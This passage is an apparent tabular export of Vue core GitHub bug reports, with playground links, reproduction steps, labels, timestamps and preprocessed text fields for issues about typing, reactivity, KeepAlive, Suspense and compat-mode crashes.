https://play.vuejs.org/#eNp9ksFOwzAMhl8lygmkaTvAqeomAdoBDjANboRDl3qlW5pEibsVVX13nGYt04QmVVXy+0/82U7LH6ydHmrgCU+9dKVFpjJdzAVHL/hCaGisccjaTmihc5Aqc8AKZTaZYq3QjOGPBWYslkZ7No8aY9LkkAybaEqYR1fqYtCsM9YnbA3SuDyNsQmr9V6bo6bM0eVBgUTIE7YxRkFGFEEmnP5HXzqL4HSENqciPGBtL0qRRIgxLYHmsC01rMIuPeF/Ch64Bf9a3NxeXoxQWZUh9GSpdbBo29NlXZfOghCOnNn4hDJT0m1ZTHfeaOpx35CQpbKlAvcW8wo+tkrwTClzfOk1dDVMBl1+g9z/o+98EzTBVw48uAPhjzHMXAEYw8v3V2hoPQYrk9eK3FeCa/BG1YEx2h5rnRP2ma+nfa7CG6Hxffhlg6D9UFQA7QfV+wWnh/Z0pfQ/3Lvp/TBg3v0CFs7jOg==

### Steps to reproduce

Define global indexed type like (typicaly in `types.d.ts` but not supported in https://play.vuejs.org/)
```
declare global {
  type options = {
    code: {
      type: string
      props: Record<string, unknown>
      selected: boolean
    }
  }
}
```
2. Use it anywhere to reproduce the error
<img width=""857"" height=""215"" alt=""Image"" src=""https://github.com/user-attachments/assets/e49f1be2-05eb-40e8-a1f1-f8c80793fcfb"" />


### What is expected?

No error just like with older versions of vue.

### What is actually happening?

An error happens because global index types don't seem to be supported anymore?

### System Info

```shell
|                      |                                                                                                                                                             |
| -------------------- | ---------------------------------------------------------------------... [TRUNCATED]","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-12-22 10:10:34+00:00,2026-01-19 00:47:12+00:00,5,"scope: sfc,has workaround,:hammer: p3-minor-bug",27.6088,plugin vite vue vue compiler sfc unresolvable type reference or unsupported built in utility type vue version link to define global indexed type like typicaly in but not supported in use it anywhere to reproduce the error what is expected no error just like with older versions of vue what is actually happening an error happens because global index types don t seem to be supported anymore system info shell truncated,bug,-0.948
vuejs/core,3749698710,`v-for` allows unmatched parentheses around value content,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kM1KAzEUhV8l3E0RagpWXZRRUOlCFyrqMiDDzO00NZOE/Dkw5N2bpPRnUboL53y599wzwpPWNHiEBVQOey1qh49MElK1PJBwvVLmgQG/IlySyRqFUBMGBSBkHAknMRZ6lvAkV7OTITAFZxslV7yjG6tk2jFmmEGjes0Fmg/tuJKWwYIUJ3t12vH/VjRnPE73erPG5u+MvrFD1hh8GrRoAjI4eK42Hbqdvfx+xyG9D2avWi8SfcH8QquEzxl32LOXbYp9wpW0r71WxnHZ/djl4FDa/VE5aCZj4Rmkol8unH6MO6e35R+TMbX4G9DkmanAOb2jN/cQtyuLjTU=

### Steps to reproduce

```vue
<template>
  <div v-for=""i) in 'hello'"">
    {{ i }}
  </div>
</template>
```

### What is expected?

Parsing error

### What is actually happening?

This RegExp https://github.com/vuejs/core/blob/c68bebfa6da687c2f734dac1aa2c5b51126c3ff0/packages/compiler-core/src/parser.ts#L494 strips opening/closing parens even if they don't have a matching pair

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-20 07:21:30+00:00,2025-12-23 00:18:43+00:00,3,nan,2.7064,allows unmatched parentheses around value content vue version link to what is expected parsing error what is actually happening this regexp strips opening closing parens even if they don t have a matching pair system info any additional comments no response,others,-0.4767
vuejs/core,3738188490,Empty string gets coerced to true when Boolean is first in type array,"### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Us1O8zAQfJWVLwWpSg7fd4oiJEA9wAEQIC6YQ0g2bcDxWv4pQVXfnbXTBJCAmz0zXs/O7k6cGpNtA4pClK62nfHg0AdzInXXG7IedmCxhT20lnpYsHQxU+fUmwOe5fESKzFd5mMpLsIXj71RlUe+AZRRdlImNQNl/oUVS+FdTbrt1tmLI82edvGNFDWrO4X22viOtJOigMRErlKK3i4T5m3A5YTXG6xff8Bf3BAxKW4sOrRblGLmfGXX6Ed6dXeFA59nsqcmKFb/Qd6iIxWix1F2FnTDtr/oktuLFF+n1/duNXjUbmoqGo3KfdJLwXHGoH5r/dPuv+x/eif1nlOcRhGH+j39ptumA8AG2Qm8kVVNYvKR+jYQvs6DxCGNvMG2Coq3Ij4yloyb/bRE8xnAvxss4PGMSGGll3DnLTe8hKvQP6N9OgQCU8ECFrw4EeAepgB6Ctpjc3Q8lc1zWA0GawYLeKhU4C+kkALu028u/TFLT2sfKjULY7gH4fPoalTyxvHUMFO0PvKbzmXcyPGUZgphWmex/wA/JQyI

### Steps to reproduce

  1. Define a prop with type: [Boolean, String, Number] (Boolean listed first)
  2. Set a default value of empty string: default: ''
  3. Pass an empty string value to the component: <Component value="""" />
  4. Check the received prop value in the component

### What is expected?

  When passing value="""", the component should receive:
  - this.value === """" (empty string)
  - typeof this.value === ""string""

### What is actually happening?

  When Boolean is the first type in the array, Vue incorrectly coerces the empty string """" to true:
  - this.value === true
  - typeof this.value === ""boolean""

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-17 09:59:58+00:00,2025-12-18 02:01:58+00:00,1,nan,0.6681,empty string gets coerced to true when boolean is first in type array vue version link to define a prop with type boolean string number boolean listed first set a default value of empty string default pass an empty string value to the component check the received prop value in the component what is expected when passing value the component should receive this value empty string typeof this value string what is actually happening when boolean is the first type in the array vue incorrectly coerces the empty string to true this value true typeof this value boolean system info any additional comments no response,others,0.9349
vuejs/core,3738054234,the watch Unexpected triggering,"### Vue version

3.5.x

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVEtS20AQvUqXNhZVQiKQFWVIJRSLZAGphKU2QmrZIqMZZT6yXS7fIEfKnXKFdM9I/oAhWegz3a97Xn/X0ceuS3uH0WU0NaVuOgsGreuucwlN2ylt4Ua1HdRatTBJMz4wfpLLQb3WWG8G/aGCHN0/Po26NDNWaUyt2YOUGguLOwjWNZa26QdYLksljQWNskINV0B/dWy1wxNW0gUPTYvK2Tg+ubqGNZEGtlACU6Fm8cTYgq4xc7UAO0f46dDYRsmJNw9YC6VQBsl5IBMPunBn2hfCsbIuhMGgCXHF0gkxYLMMmhpWyoFUFoPDP79/+TsXhS3n0EifR04dY8DqZjajkJSGRSPEeE5gMV8dSD54nuyQiW0SuDg7O/PX5nKahZJRsehgse0EBcClg6mvWn/a1Fd5FELJo+uprx8BptkeOkoiaygVdTNLn4yS1As+k3lUEroRqO87zprJo8uQY9YVQqjFFy/jgiSjvJxj+eOI/MksWZZHXzUa1D3m0VZHVZqhDerb73e4pP+tslWVE4R+Q/kNqeSOOQbYJycror2H82w/+65r5OzB3C4tSjMGxUQZufH4PKIqcaJeC31H9yJ97+2oMpTFscJHhmlseN8NCbfx4czsEOqVkcmlt41Jn0BMbXm840l96oGTBBhEzOh5q1Oqpvc/4DvUi7Ige94lIxuK7x/xaLpneHDpkWHUiB3NEg/xuriEd0TtEFU7SeOv5DhjHAEFSQBg2+000peFnPT9lUHEgOUju2GkacclEFjCc5p7S+78YMudhzXHV/vXc4bjthjphQB7qSomOI+9j218o77ouu2mIVrxYDyum0sgh1RX7yaodjkafSw0efHrsFKla1HaNDi8FcineELloxXnTQZwWorCmLuiZXKT0plTxgTI1sujqlYpw2V1M29EFQ/GewzonLbK0SUvdZp6XdN3m6KKtq1Wq12Ogr2TwcPAcMdRY6t63nMhcP/x7/EZZsyX5sWQ/V+PT42g9ZsF8dE+3/wFsf1xzg==

### Steps to reproduce

1. wait the time，see console-log 
2. note close-fn，wait the time，see console-log 

### What is expected?

don‘t trigger watch

### What is actually happening?

other app unmount ，current app watch will trigger

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-17 09:21:32+00:00,2025-12-18 08:31:09+00:00,0,nan,0.965,the watch unexpected triggering vue version x link to wait the time see console log note close fn wait the time see console log what is expected don t trigger watch what is actually happening other app unmount current app watch will trigger system info any additional comments no response,others,-0.296
vuejs/core,3736997090,updating keepalive include will cause asyn loaded components to not be cached.,"### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNrNVE2P0zAQ/SujXNJqS0MFp6hdsaA9LEiAlr1hpA3JtPHWcSLbSbuq+t8Z2/miKrBCCO0hUux58+Z5/DyH4Kqq5k2NQRwsdap4ZUCjqatLJnlRlcrAAfIZKFzPQOeJEOXu1v5nuOYSr/SjTN+VBJQoDRxhrcoCQuILmWQyLaU2kFIcVmczJgcmAUSZZKhimExhdQm+7CScRxZmtYVTJo/0DXSLv+ZbnCGslaJcGyXa4ZCTc4gP+EggascQ3SJWieAN3shU1Bm28a+hUxp+I2AH1Ttu0ryt5OU5xVEEdznXsONCUHJRNgj3Lv3et9TkCGmS5mjRpwXnTSJqW7YvaVH242uY/Cy+w65W4MDh1CuA8SF7wnziCOkEJ4gRk+dZ0IUDGQCFxj8zPoHQ89E9MbmMvDPJk7QwWFQiMUgrgKXtxQvXDIi5b8eKBacdYoFDE95Se7PGXBNyJIEFEHnSaGD1G99rY0oJb1LB0y1lDfdIzH7hfOmYl5GHU+oyGqkNZoHR5IM138wfdCnpyblGkQhK5QLVp8pw8gkL4q6FLHBufO/2jKpx1u2TF9Ltmf0Hvbd7LPisUKNq6Ox9zCRqg8aHr798xD3998GizGpB6N8Eb1GXorYaPextLTOSPcI5tTfuxXG5udPXe4NSd4eyQt21OjwL6CnaHv7q6IPcV/PXnR2oi91cGGbWeFrR2zsZRLh3IRoYSS0IYqlkUmDcOs2pcVOPnmTn3XbW1NKgal/0y9a2iqBKdkiLdSi/JI1P8W3Gm9aSbjx2hWgGHA796ujIzvivBVxckP3I9QoTjSPbWQv7AqcG7EfgP+rd4hk0b/Gfunf8AUnkbnU=

### Steps to reproduce

In the example, there are two asynchronous components, with `comp1` included in the `include` list.
Click to switch components, switch to `comp1`, then click ""increase"" to increment the counter, and then click to switch components twice more. You will find that the counter for `comp1` resets to zero.

### What is expected?

After switching components, the counter in comp1 should retain its previous value.

### What is actually happening?

After switching components, the counter in comp1 is reset to 0.

### System Info

```shell
System:
 ... [TRUNCATED]","scope: keep-alive,:hammer: p3-minor-bug",2025-12-17 01:50:32+00:00,2025-12-18 08:14:24+00:00,0,"scope: keep-alive,:hammer: p3-minor-bug",1.2666,updating keepalive include will cause asyn loaded components to not be cached vue version link to in the example there are two asynchronous components with included in the list click to switch components switch to then click increase to increment the counter and then click to switch components twice more you will find that the counter for resets to zero what is expected after switching components the counter in comp should retain its previous value what is actually happening after switching components the counter in comp is reset to system info shell system truncated,bug,0.5719
vuejs/core,3732820705,"When runtime props are added, the generic type inference in defineComponent is lost.","### Vue version

lastest

### Link to minimal reproduction

https://www.typescriptlang.org/play/?jsx=1#code/JYWwDg9gTgLgBAbzgEwKYDNgDtUGELgQ5YwA0cUGcAvnOlAXAOQBuArqkwNwBQPAxkQDO8fODgBeFBmx4CkYjAAUPOHAA8AFTioAHjFRZkQuACVUgqMnUio2AObkAhlgCeAPndKwDMEIBciHCqanAgQvaBtg5cwaFwADbAIoGaANoAurEhakQAkgYguEn8ANYA-IFKwIWp5NhouoFYbCAARqhQAJSS7nAsEMDIcTQ9En0IOXCCWCLTEGwkkhQYSgAMXXzxM3MAFi7ICXglpcvVtXCa9UZ6za0d3b2IU2qCizAAdCxOCRxwANRSACMvHiah8ED8H3yhWKwDK5Q+51QIGujS6oNC1C2oUoMDYUCwcCUYz6KjBGmQwBY7heoXUVJpCAhUPC9loCDeJC+Pw41HUAHpGbSKWp1GwEiLRWpmb4hB8kiIPiAnGAlMjUXAGnpScS6RT1EkRtL4qVUK4JAhtbpsSawUQ4WVLSSnvsjEdHaUNWidba7aERK4jpakPwCUJoIEmJBsAYoExyGAnMgqVhIswABxgXQJsJOKD2bBRgAs2dzbWgaCgUaB2bgEaSwwAxPxW0waH67VL-YgAFIAZQA8gA5D7RNPAdCuDVdTsmwVJbuirqz-UaAUSpdioXUpebNTUUghSbxFkBOBpJhs3NMRUwJgZELYjF8dRiMAjNkSABEgApXQDsRoA6EqABYR34jHelppEgWBOCAqBRgAgiUnDOPY8FwAATAArDQ5DQbB6FMAAQhAbS5k4aGBAAzGsNAZLQIQwiinrOjUKI+rouo7BARwKhA9hKEwnqoMg-i5mxmrWquAruFwQA

### Steps to reproduce

```
import { defineComponent, ref } from 'vue';

const Comp = defineComponent(
  <T extends Record<string, any>>(props: { 
    msg: string; 
    list: T[]; 
    onItemClick?: (item: T, index: number) => void 
  }) => {
    const count = ref(0)

    const handleClick = (item: T, index: number) => {
      count.value += 1;
      props.onItemClick?.(item, index);
    }

    return () => (
      <div>
        <div>{props.msg} {count.value}</div>
        <ul>
          {props.list.map((item, index) => (
            <li 
              key... [TRUNCATED]",scope: types,2025-12-16 02:20:03+00:00,2025-12-16 02:33:35+00:00,0,scope: types,0.0094,when runtime props are added the generic type inference in definecomponent is lost vue version lastest link to import definecomponent ref from vue const comp definecomponent props msg string list t onitemclick item t index number void const count ref const handleclick item t index number count value props onitemclick item index return props msg count value props list map item index li key truncated,others,0.4767
vuejs/core,3728634348,[Regression 3.5.25] @vue/compat: Crash in warnDeprecation when processing COMPONENT_V_MODEL (instance.appContext is undefined),"### Vue version

3.5.25

### Link to minimal reproduction

see below

### Steps to reproduce

1. Use `@vue/compat` with Vue 3.5.25.
2. Configure compat mode to Vue 2 (`MODE: 2`).
3. Create a component that accepts `v-model` (legacy usage).
4. Run the application.

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset=""utf-8"">
  <title>Vue 3.5.25 Compat Crash Reproduction</title>
  <script src=""https://unpkg.com/@vue/compat@3.5.25/dist/vue.global.js""></script>
</head>
<body>
  <div id=""app""></div>

  <script>
    // 1. Configure compat mode
    Vue.configureCompat({ MODE: 2 });

    // 2. Define a component using v-model (legacy usage)
    const ChildComponent = {
      template: `<div @click=""$emit('update:modelValue', 'new val')"">{{ modelValue }}</div>`,
      props: ['modelValue']
    };

    // 3. Initialize App
    new Vue({
      el: '#app',
      components: { ChildComponent },
      data: {
        myVal: 'initial'
      },
      // Using v-model on a component triggers COMPONENT_V_MODEL warning logic inside compat
      template: `
        <div>
          <h1>Reproduction</h1>
          <p>Click the text below. Check console for crash.</p>
          <child-component v-model=""myVal""></child-component>
        </div>
      `
    });
  </script>
</body>
</html>
```

[Reproduction.html](https://github.com/user-attachments/files/24157211/Reproduction.html)

### What is expected?

A deprecation warning (`COMPONENT_V_MODEL`) should be logged to the console, but the applicati... [TRUNCATED]",":hammer: p3-minor-bug,scope: v2 compat",2025-12-15 04:23:00+00:00,2025-12-18 08:14:55+00:00,0,":hammer: p3-minor-bug,scope: v2 compat",3.1611,regression vue compat crash in warndeprecation when processing component v model instance appcontext is undefined vue version link to see below use with vue configure compat mode to vue create a component that accepts legacy usage run the application reproduction html what is expected a deprecation warning should be logged to the console but the applicati truncated,bug,-0.25
vuejs/core,3719811091,[Vapor mode] Modal with Transitions rendering issue,"### Vue version

3.6.0-alpha.6

### Link to minimal reproduction

https://play.vuejs.org/#eNqVVgtv2zYQ/is3dUOSIpKduisSLQ22BgX2wNZiCQYMEDDQ0sliQ5ECSfnRwP99R1KSZcfJMMAGpLvvnvzuqMfop6ZJli1GaXT9TRxn8ndVMAG5qhslUVpYcVtB3hqrav6VzQWCEcoaYLKA27s7sJpJwy1X0iSZjOObTGby2uSaNxYM2rYhCSdv2kLwXWpVw0ky8W8u9skAeASNJWw7SFBlMiff5KtSq+DgvUOdlkwYPKNYkxAsBLZYN4JZpDeA63lrrZLAi/dZ5Ozj2jnIIvgxFzx/6KS9V6tbzKKbOxKFVK8nwYF3Te7uUaDP0yoynatiQ3CnIR01D1qDYCsEH2XXw3NomDHApVc2WjXg++TtAjZ1eYzTCTkqgwc5+qqHqGTfFwyvKmQF6kFDump2c+tPDn72uusJSQbLyV6vnMDnEjo36Wul1xEyOo+sofMo+SL5YpQk2jw6fBa5arlA/anxXMiiFLzG6ZgQavWrl7ken/fyvML84Yj8i1k7WRZ91mhQL6ngQWeZXqAN6o93f+CangclFdAKQr+g/BONEq3LMcA+tLKgtEc4n+0vnpBcLu7Nx7VFonhXlCcJIbcen0VE0tsXSt+lO0veertMbqmLA/nd4B1MS+C744mhEy+w5BI/u7dT79bRIYUPSglkxMvtszMAS0ZFhPO8H8YUJKsdq7pR6A+/4EtYxrzs+Eb8ywWxtgfGNTMPY945/D6C0raMUqVejkn4FBiIuocinFsrfW4DgopnrbAQBFQmgcbOJ+S9m85nw+3NaYeiafUBhwAO1LkfZvNIYp2vI1b/M6lSKftyD44iwNHBh+7Ue7pu3+0L4SBy5yDusNEheliN32LN7emJ30InZ4fAm0+/jdbjKIfn2vH0bfdM62bg5/7CCbeJ3Qj3mOyoGCasUcEmhZKvsfjByb7GXBa4TuHq6urSS6xqUpj6R4Gl7Z9XvLBVChfT6Xf+vUK+qEg7COYsf1hoRQuCuC2UTkEv5ux0eg7dL/n+zAMLbijbDWUhcB1CDuWkoBqWc7sh+MwAMoOEoC0wlDPMTaipS2s2nTbBV00rhJMf1lrlBQ0rCtpMKbwhCAE73NN0X5VlGVRK0/jEmhW8NWTXW6h1bCpWuH0ydVK4pP9hkbNZqHJcE+3IZ+sJswrVLNQT0o9Hh9Bn9/bN/OpydmDtRmps2FXpLMewfRYHg1IoRuen3TH28Mlr0ryGe7p4S+UWOzUOPJ/oE0ajb2rMmkZwLIgoQLdeTVe28d893nRX9m5pwqpCf5tzDUtu+JwLd8LckIvFQmDhLecb+KtFuifpwwhCHn+rFnImXdu42IBjTfjC2n027OI5B1jQo1yETCq6DbvkvcvJqCGUNJ2w/3DyzehYF3o+7hzdGkuk4/gP2MjfIU/p5jv0dZzK8Q... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor",2025-12-11 15:12:46+00:00,2025-12-12 03:30:06+00:00,0,":hammer: p3-minor-bug,scope: vapor",0.512,vapor mode modal with transitions rendering issue vue version alpha link to truncated,bug,0.0
vuejs/core,3714824665,this.$refs.name is sometimes not reactive,"### Version
3.6.0-alpha.6

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNqFVG1r2zAQ/iuHGDSB1h5r6YfMbVhHB9uHbaT9KChKfE7cKrKR5DTF+L/3JMt2Y0IaQpDuHj339lxq9qMso12FbMYSs9J5aW+5yrdloS38KgrIdLGFsyims4Od9c4aKoOPuC2lsLjADJqAdajvXOHew1LMRCUJzhXAqqC3CpU1M6iJsTl3VoO2KidTjwCIY4IpYyGj6DejIBPOyMzZlAIAtM9TYUX/WhOXVm0091ltcPWC6SwT0mBrbIanLp/Kkrt7QOQPVtjKwGQ6kARSu8lN9EVjZiKX2xx8MpAbeFHFq+IMZoOpUsEYgvp4PsCd0J+zz6MlweYhhr+MGX0ZXNE3ifvJ0cWGdtENIJFiidIfARaoUtRurO09yRWVD/atxBvOfKuWxZ7q2F1sixRlZ8SUs9sk9uiWNR5ok6UmH/34SxecKPLs4L13u+ZQieTwYwxkdA6nPvdD2rruB9M0R1zU0sb34UPt7JxZQ0rK8nX0bApFAvctp5xo6rlE/a+0OSmNs378nAkpi9c/3mZ1hWFqoY4j9mdD/XJj/6/RoN4hZ73PCr1G27rvH/7ins69kxpcSUKfcC7QFLJyObawu0qllPYHnM/2t9/HXK0fzf3eojJdUS7RQeuc0WL+PFH6kO5ldNWJi7oYNv/YH0Tt1jtXntbv9Sd/AiP0xMdu97fLY7zApPwZXH0baX56WvStrgcVE8mBgsdCedqhdm2jGi+j6+jrhZDlRkTXrHkHPrmw4w==)







### Steps to reproduce
1. check ""Render Foo"".
2. change the text in the input field.
   - Note that the text below the input doesn't change
3. Uncomment the commented out line, repeat prior steps.
   - Note that now the text below the input is kept in sync

### What is expected?
The commented out line should not be affecting the reactivity of the computed value.
I expect it to be reactive in either case.

### What is actually happening?
A line of code in setup() which seems to be dead code affects the reactivity of computed properties.

---
I noticed the bug when I recently upgraded from 3.5.13 to 3.5.25 and noticed a computed value isn't w... [TRUNCATED]",,2025-12-10 11:38:06+00:00,2025-12-11 02:03:40+00:00,1,nan,0.6011,this refs name is sometimes not reactive version alpha play vuejs org check render foo change the text in the input field note that the text below the input doesn t change uncomment the commented out line repeat prior steps note that now the text below the input is kept in sync what is expected the commented out line should not be affecting the reactivity of the computed value i expect it to be reactive in either case what is actually happening a line of code in setup which seems to be dead code affects the reactivity of computed properties i noticed the bug when i recently upgraded from to and noticed a computed value isn t w truncated,others,-0.2732
vuejs/core,3699487429,"Unable to use v-model on nested refs without WritableComputedRef proxy workaround: Type 'Ref<number, number>' is not assignable to type 'number'.","### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVMtu2kAU/ZVbb0JUY5Km2bgkUh9ZtFKTKM3SUjOYC0wwM9Y8KAj533tmzLNFrLIAje/z3HMfq+RzXWdzz0me9G1pZO3IsvM1VUKNb4rE2SK5LZSc1do4WlGpZ7V3PEzJ8IgaGhk9ozMEONsauWXNsHz6T1+oUivrqK6EVHQTInQuzoNcKsdmJEomwKnY0qpQRNoAA9s8hOorPxuwAZRmF0hE43zjdPOPWxs/Xbv0evQ8kZYqraf4l1MmocgrxSVbK8yS9JxNqK+SpXBS7/AavVgi+qb2DZZOTDdm1zlvMxNSOm/UGli2RpLNReU5GDQAQ4HgThTl1Ebauh/zQ+ID/yYy1u+13QIh+HAM1MIxvoj6k8vbx0BxTqvVmuym6fcgjmqpUEXsEvobMxUJ5TOp8HkRn2KB52V4z7szPeQqa3FCGsNB0WtjDczmhej3bMFOzHpYyEH6d91uWywbo01OA8MCDXETJuuML0Egp1QKb9HD1vKlFOoM7bZWjhU5HTpSs3FLKpKWm4S0omvwqWGmSA9euXQv0bvbfYOyD+s5Wf/7OC4t93Fw3o77EG6du9/b63mSYk8xqyM5zl6tVljmOFBFEkZWVmwe6jDQAA5cLaeoqar0nx9RBt45jmb0mXA5PSJ/tYsgK5JHw5bNHNC3OicM9qBV3/265wXeWyXK8BWsTyif2OrKx6WLZl+8GgL2nl1E+z1eGKnGz/Zu4VjZTVEB6G7BMBWev54ofQf3KvsY/bBXYHHdZmfB4OE1C9HC7uMUpfSNuX5iMdSqWqb0UywHKADyvZMXIRTJp8JgQfHjRYx25NBBSfRw5NSlQdWEPyD7jdsUqgWwq+w6+3CdNH8BXpruOQ==

### Steps to reproduce

1. Get an object with a nested (non top-level) ref.
2. Try to bind that ref to a `v-model`.
3. In the playground example, try using the ""Nested"" slider, then ""Nested+proxy""

### What is expected?

All three sliders should work.

One could expect that `v-model`, being a shorthand for prop `.value` and signal/event handler `.value = newValue`, should be accepting writable refs, not matter where they come from.

### What is actually happening?

Instead,
- only top-level refs are working (first and third sliders),
- but t... [TRUNCATED]",,2025-12-05 15:56:15+00:00,2025-12-08 02:36:34+00:00,8,nan,2.4447,unable to use v model on nested refs without writablecomputedref proxy workaround type ref is not assignable to type number vue version link to get an object with a nested non top level ref try to bind that ref to a in the playground example try using the nested slider then nested proxy what is expected all three sliders should work one could expect that being a shorthand for prop and signal event handler should be accepting writable refs not matter where they come from what is actually happening instead only top level refs are working first and third sliders but t truncated,others,0.4045
vuejs/core,3699289727,<Suspense> changes the order of elements when using v-for with a given key and a wrapper component,"### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNq9VdtuGjEQ/ZWpXyASLHceCIlEc6mo1BBRpDzUUbWFgTjZ9bq2l4sQ/97xshhISitVSvMQ7cwZz5kZzzFr1lMqmKfIOqxrxlooCwZtqi65FLFKtIU1aJzCBqY6iaFAoQUPXSWxyv1BxRku0zH8oEOlUB9F5b48mMtxIo0FYTE2cOHYit+4BFiLSQdqJZBhjB0o1Gq1wqbkgboH6vX6IdDwQKPRKGy4fDxzJFxSXyMRY5LaYvEMLi5h7c5ktME8jFIk8oyY/rJMTZ+p2WzmFDus5bFWq/UKa3us3W67CgAeudyUoF6tVqmYbmU7aZoxGcSvotAiWQDdiZiDsasILzibCEPIqgPTCJfnMAsVtV1Vy3POsmAKN6lRSJ3l9jaBN8j8UC7Dw3Bw9wkGw+ubIfRuR/T/y+C6f9u/6o36gzsojhOtcWxhIewTTQc6L7giejeZQEw4O4Ny+TDn4b3Oy9NE58Eg5HacnL3JAR33mXvIrOwrruxLpskcN3TUTkb8r4w7wj3d7qtbObgCVmLW0EJOxSx4NokkXWRrwtmYyEWEeqCsoIXlrLNdIIeFUZQsPmc+q1PMt4HOPOH45Tf+Z7N0Ps7uNRrUc+TMYzbUM7Rb+ObrHS7p24NxMkkjiv4DOESTRKmrcRv2MZUTKvsgLqu2n2lUyNnI3CwtjXzXlCvURW53mjNSqZv7qdb35TaCZnaOVp2m6M70zEqOT7wuE5wKifc6Uabohejz2pUi/Qx+PNNe5nVr/JlqgaQvXyExZdoOF6GwIHEBlC8WBos01iSak6IvHeFO9rm3BLXq2d91mC/Mep2tlFP0JtPyqb3ZPYDv2uw71HzwHJ/+FfDXefSS+wvO3vH/0+W+krcCf93e9zlqt9jUVyNoBfUW2/wCEF1CyA==

### Steps to reproduce

* Render an array of elements using a component with async setup
* Render new elements


### What is expected?

Vue should render the elements in the same order as in the array.

### What is actually happening?

Vue renders new elements in reverse order.

### System Info

```shell

```

### Any additional comments?

This is similar to #13559, but uses an additional wrapper element between the v-for-element and the async component.","scope: suspense,has workaround,:hammer: p3-minor-bug",2025-12-05 14:57:22+00:00,2025-12-18 08:15:27+00:00,1,"scope: suspense,has workaround,:hammer: p3-minor-bug",12.7209,changes the order of elements when using v for with a given key and a wrapper component vue version link to render an array of elements using a component with async setup render new elements what is expected vue should render the elements in the same order as in the array what is actually happening vue renders new elements in reverse order system info any additional comments this is similar to but uses an additional wrapper element between the v for element and the async component,bug,0.0
vuejs/core,3697247546,Memory leak after clicking input,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UrtSwzAQ/BWhBpgBu4AKnAw2kwIKYIBSjXEusUCWNHo4YTKpoeEn+Df4Dk4yMc7A4Eq+3ZVu73ZFc62T1gM9oZmtDNeOWHBej5nkjVbGkRWxdSmEWtzCjKzJzKiG7KJi97Sn5N/VJM3DXQOk6JFig1RKWnykVoucjAZ37znjYb8n1KWcCrhbcFfVyNvbJ6MxWTFJOmnSlsLDaGfww+Qa1Vna2UADmYNGi9JBOD9455QkZ5Xg1dOI0eH9jI4/Xl8+396ztKOhgJBsytt4CF+Wk/aQz1AYX0RFluY/aIEoCAtYLTpx2qmztG+CHlBn0dyMz5NHqySOPPphtFKN5gLMtXYczTN60jkNWBzPZayFAR1s6lUN1dMf9Ue7DDVGbwxYMC0w2mOuNHNwHTy5u4IlnnuwUVMvkP0PeAtWCR967GiFDzM0A17s9iLunsv5vZ0sHUi7MRUaDcx15DOKiTj/x/pPu0fJcdThinGKMWQhsIP94sS51N6RdHvoTDKJkpi+XxkfZGU7LVvLnzTaPZObch57/2Ox+ML6C0UMF/Y=

### Steps to reproduce

1. Click to focus the `input` element
2. Click the button to switch components
3. Open the browser's F12 to observe

<img width=""2063"" height=""724"" alt=""Image"" src=""https://github.com/user-attachments/assets/22ec46fe-bf3d-4b12-9833-1dc44c082097"" />

### What is expected?

No memory leak occurs

### What is actually happening?

Memory leak occurs

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (24) x64 13th Gen Intel(R) Core(TM) i7-13700
    Memory: 32.58 GB / 63.63 GB
  Binaries:
    Node: 22.20.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\User\AppData\Local\pnpm\yarn.CMD
    npm: 10.9.3 - C:\Program Files\nodejs\npm.CMD
    pnpm: 9.9.0 - C:\Users\User\AppData\Local\pnpm\pnpm.EXE
  Browsers:
    Chrome: 142.0.7444.176
    Edge: Chromium (140.0.3485.54)
    Internet Explorer: 11... [TRUNCATED]",,2025-12-05 02:23:31+00:00,2025-12-05 02:40:00+00:00,0,nan,0.0114,memory leak after clicking input vue version latest link to click to focus the element click the button to switch components open the browser s f to observe what is expected no memory leak occurs what is actually happening memory leak occurs system info shell system os windows cpu x th gen intel r core tm i memory gb gb binaries node c program files nodejs node exe yarn c users user appdata local pnpm yarn cmd npm c program files nodejs npm cmd pnpm c users user appdata local pnpm pnpm exe browsers chrome edge chromium internet explorer truncated,others,-0.8126
vuejs/core,3690336230,"Embedded components ""this"" is typed incorrectly after upgrade","### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U1ur2zAM/ivCL22h5MC6Piy0hW30YYNd2MqeDDsmUVOfJU6wlS4Q8t8nO9dz2JYHR5Y+SZ8ubsXbqoruNYpYHFxidUWQK5MdpSAnxUkaXVSlJWghsagIGb6FFK/a4PuSTQYNQQdXWxaw4jgraaTBJvgwTNV5+C/h61YagFSRWm8gyAAWqbYG2s5fu60/C6Rbmbp4hGRIFyyqnEnMfgBJaRyBqio4zhTXbbcZAUNoRkTJRGF1QUcTo9V2jtczi4FzHE9L9UxyqWOeLotBigKdUxlKAcqBI6tNFsoYv1DZIC4ML6vsP671Ux9vvYmHaC/zDmzopl3EHJ7lWiRYyjT0L4bHQ6rvp8ODPx8nxNi03sefXnN46BeDl4EvYwy+AYQo50axCvtgHr6AiC3vEY/oqrPoyZWG1yyUIYWfhc7RfqlI8wilmFoghcrz8vfHoCNb48CPfW6Y/PqL/sk1XifFV4sO7Z2nMNlIWe5mbz5//4wNy5OxKNM6Z/R/jN/QlXntOfawd7VJmfYCF9h+CM+Ex3Rx54bQuLGoZ0RNybhcJ5ouPLbRPO+8FPyE/Fr+qzNzNbvodfDjGXGTf97R+pTc3120j17tvY7cj0m7j95EO9H9AXmnOs8=

### Steps to reproduce

- Within an Options API component, define a method  (e.g. `getTemplate`)  with the following contents

```vue
   getTemplate() {
      const app = createApp({})
      return app.component('TestComponent', {
        data: () => {
          return {
            msg: ""message"" as string,
          }
        },
        methods: {
          getMessage(): string {
